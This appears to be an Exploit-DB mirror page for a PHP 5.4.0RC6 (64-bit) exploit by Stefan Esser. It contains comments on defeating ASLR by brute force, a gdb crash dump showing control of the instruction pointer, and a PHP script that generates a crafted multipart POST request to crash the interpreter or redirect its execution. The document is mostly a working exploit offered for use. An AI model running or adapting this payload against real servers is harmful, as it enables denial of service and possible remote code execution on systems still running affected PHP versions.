PHP 5.4.0RC6 (x64) – Denial of Service

  • 作者: Stefan Esser
    日期: 2012-02-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18460/
  • <?php
    /* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111
     (C) Copyright 2012 Stefan Esser
    
     PHP 5.3.9 requires you to know the address of a writable address filled with NULL.
     32bit requires you to create a fake 32bit Hashtable instead of a 64bit one
    
     Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000
     tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX
     better exploit might be possible after deeper research + heap massage
    
     This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS
    
    (gdb) c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1, 
    __zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)
    at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398
    398					ht->pDestructor(p->pData);
    (gdb) i r
    rax0x7fd9583352a0	140571464389280
    rbx0x0	0
    rcx0x8	8
    rdx0x111111111111111	76861433640456465
    rsi0x7fd95a077b08	140571495070472
    rdi0x7fd9583352a0	140571464389280
    rbp0x7fff75c47ae0	0x7fff75c47ae0
    rsp0x7fff75c47a80	0x7fff75c47a80
    r8 0x7fff75c47bc8	140735169199048
    r9 0x1	1
    r100x6238396661373430	7077469926293189680
    r110x7fd962f4c8e0	140571644840160
    r120x7fd966b91da8	140571708038568
    r130x0	0
    r140xffffffff00000001	-4294967295
    r150x7fd964b10538	140571673953592
    rip0x7fd959ca5f9d	0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>
    eflags 0x10206	[ PF IF RF ]
    cs 0x33	51
    ss 0x2b	43
    ds 0x0	0
    es 0x0	0
    fs 0x0	0
    gs 0x0	0
    (gdb) x/5i $rip
    => 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>:	callq*%rdx
     0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>:	cmpl $0x8,-0x3c(%rbp)
     0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>:	jne0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625>
     0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>:	mov-0x18(%rbp),%rax
     0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>:	mov0x10(%rax),%rax
    (gdb) 
    
    */
    
    	$boundary = md5(microtime());
    	$varname = "xxx";
    
    	$payload = "";
    	
    	$payload .= "--$boundary\n";
    	$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";
    
    
    	$payload .= chr(16);
    	for ($i=1; $i<7*8; $i++) {
    		$payload .= chr(0);
    	}
    	
    	for ($i=1; $i<8; $i++) {
    		$payload .= "\x11";
    	}
    	
    	$payload .= chr(1);
    	for ($i=16+48+1; $i<128; $i++) {
    		$payload .= chr(0);
    	}
    	$payload .= "\n";
    
    
    	for ($i=0; $i<1000; $i++) {
    		$payload .= "--$boundary\n";
    		$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";
    		$payload .= "aaa\n";
    	}
    	
    	
    
    	$payload .= "--$boundary\n";
    	$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";
    	$payload .= "aaa\n";
    
    	$payload .= "--$boundary\n";
    	$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";
    	$payload .= "aaa\n";
    
    	$payload .= "--$boundary--\n";
    
    	echo "POST /index.php HTTP/1.0\n";
    	echo "Content-Type: multipart/form-data; boundary=$boundary\n";
    	echo "Content-Length: ",strlen($payload),"\n";
    	echo "\n";
    	echo "$payload";
    
    
    ?>